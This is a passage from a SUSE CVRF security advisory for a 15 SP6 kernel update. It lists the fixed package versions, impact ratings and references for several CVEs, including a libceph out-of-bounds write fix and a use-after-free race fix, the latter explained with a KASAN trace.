        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-40259.html</URL>
        <Description>CVE-2025-40259</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1254845</URL>
        <Description>SUSE Bug 1254845</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="19">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

libceph: prevent potential out-of-bounds writes in handle_auth_session_key()

The len field originates from untrusted network packets. Boundary
checks have been added to prevent potential out-of-bounds writes when
decrypting the connection secret or processing service tickets.

[ idryomov: changelog ]</Note>
    </Notes>
    <CVE>CVE-2025-68284</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-68284.html</URL>
        <Description>CVE-2025-68284</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1255377</URL>
        <Description>SUSE Bug 1255377</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1255378</URL>
        <Description>SUSE Bug 1255378</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="20">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

libceph: fix potential use-after-free in have_mon_and_osd_map()

The wait loop in __ceph_open_session() can race with the client
receiving a new monmap or osdmap shortly after the initial map is
received.  Both ceph_monc_handle_map() and handle_one_map() install
a new map immediately after freeing the old one

    kfree(monc-&gt;monmap);
    monc-&gt;monmap = monmap;

    ceph_osdmap_destroy(osdc-&gt;osdmap);
    osdc-&gt;osdmap = newmap;

under client-&gt;monc.mutex and client-&gt;osdc.lock respectively, but
because neither is taken in have_mon_and_osd_map() it's possible for
client-&gt;monc.monmap-&gt;epoch and client-&gt;osdc.osdmap-&gt;epoch arms in

    client-&gt;monc.monmap &amp;&amp; client-&gt;monc.monmap-&gt;epoch &amp;&amp;
        client-&gt;osdc.osdmap &amp;&amp; client-&gt;osdc.osdmap-&gt;epoch;

condition to dereference an already freed map.  This happens to be
reproducible with generic/395 and generic/397 with KASAN enabled:

    BUG: KASAN: slab-use-after-free in have_mon_and_osd_map+0x56/0x70
    Read of size 4 at addr ffff88811012d810 by task mount.ceph/13305
    CPU: 2 UID: 0 PID: 13305 Comm: mount.ceph Not tainted 6.14.0-rc2-build2+ #1266
    ...
    Call Trace:
    &lt;TASK&gt;
    have_mon_and_osd_map+0x56/0x70
    ceph_open_session+0x182/0x290
    ceph_get_tree+0x333/0x680
    vfs_get_tree+0x49/0x180
    do_new_mount+0x1a3/0x2d0
    path_mount+0x6dd/0x730
    do_mount+0x99/0xe0
    __do_sys_mount+0x141/0x180
    do_syscall_64+0x9f/0x100
    entry_SYSCALL_64_after_hwframe+0x76/0x7e
    &lt;/TASK&gt;

    Allocated by task 13305:
    ceph_osdmap_alloc+0x16/0x130
    ceph_osdc_init+0x27a/0x4c0
    ceph_create_client+0x153/0x190
    create_fs_client+0x50/0x2a0
    ceph_get_tree+0xff/0x680
    vfs_get_tree+0x49/0x180
    do_new_mount+0x1a3/0x2d0
    path_mount+0x6dd/0x730
    do_mount+0x99/0xe0
    __do_sys_mount+0x141/0x180
    do_syscall_64+0x9f/0x100
    entry_SYSCALL_64_after_hwframe+0x76/0x7e

    Freed by task 9475:
    kfree+0x212/0x290
    handle_one_map+0x23c/0x3b0
    ceph_osdc_handle_map+0x3c9/0x590
    mon_dispatch+0x655/0x6f0
    ceph_con_process_message+0xc3/0xe0
    ceph_con_v1_try_read+0x614/0x760
    ceph_con_workfn+0x2de/0x650
    process_one_work+0x486/0x7c0
    process_scheduled_works+0x73/0x90
    worker_thread+0x1c8/0x2a0
    kthread+0x2ec/0x300
    ret_from_fork+0x24/0x40
    ret_from_fork_asm+0x1a/0x30

Rewrite the wait loop to check the above condition directly with
client-&gt;monc.mutex and client-&gt;osdc.lock taken as appropriate.  While
at it, improve the timeout handling (previously mount_timeout could be
exceeded in case wait_event_interruptible_timeout() slept more than
once) and access client-&gt;auth_err under client-&gt;monc.mutex to match
how it's set in finish_auth().

monmap_show() and osdmap_show() now take the respective lock before
accessing the map as well.</Note>
    </Notes>
    <CVE>CVE-2025-68285</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
